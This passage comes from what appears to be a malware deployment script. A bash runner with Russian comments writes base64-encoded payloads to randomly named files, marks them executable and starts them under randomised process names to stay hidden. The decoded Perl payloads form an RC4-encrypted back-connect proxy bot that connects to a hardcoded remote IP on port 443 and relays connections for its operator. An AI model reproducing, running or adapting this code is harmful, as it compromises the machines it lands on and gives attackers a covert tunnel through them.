JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #40 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #40 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 41 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xNjQnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg 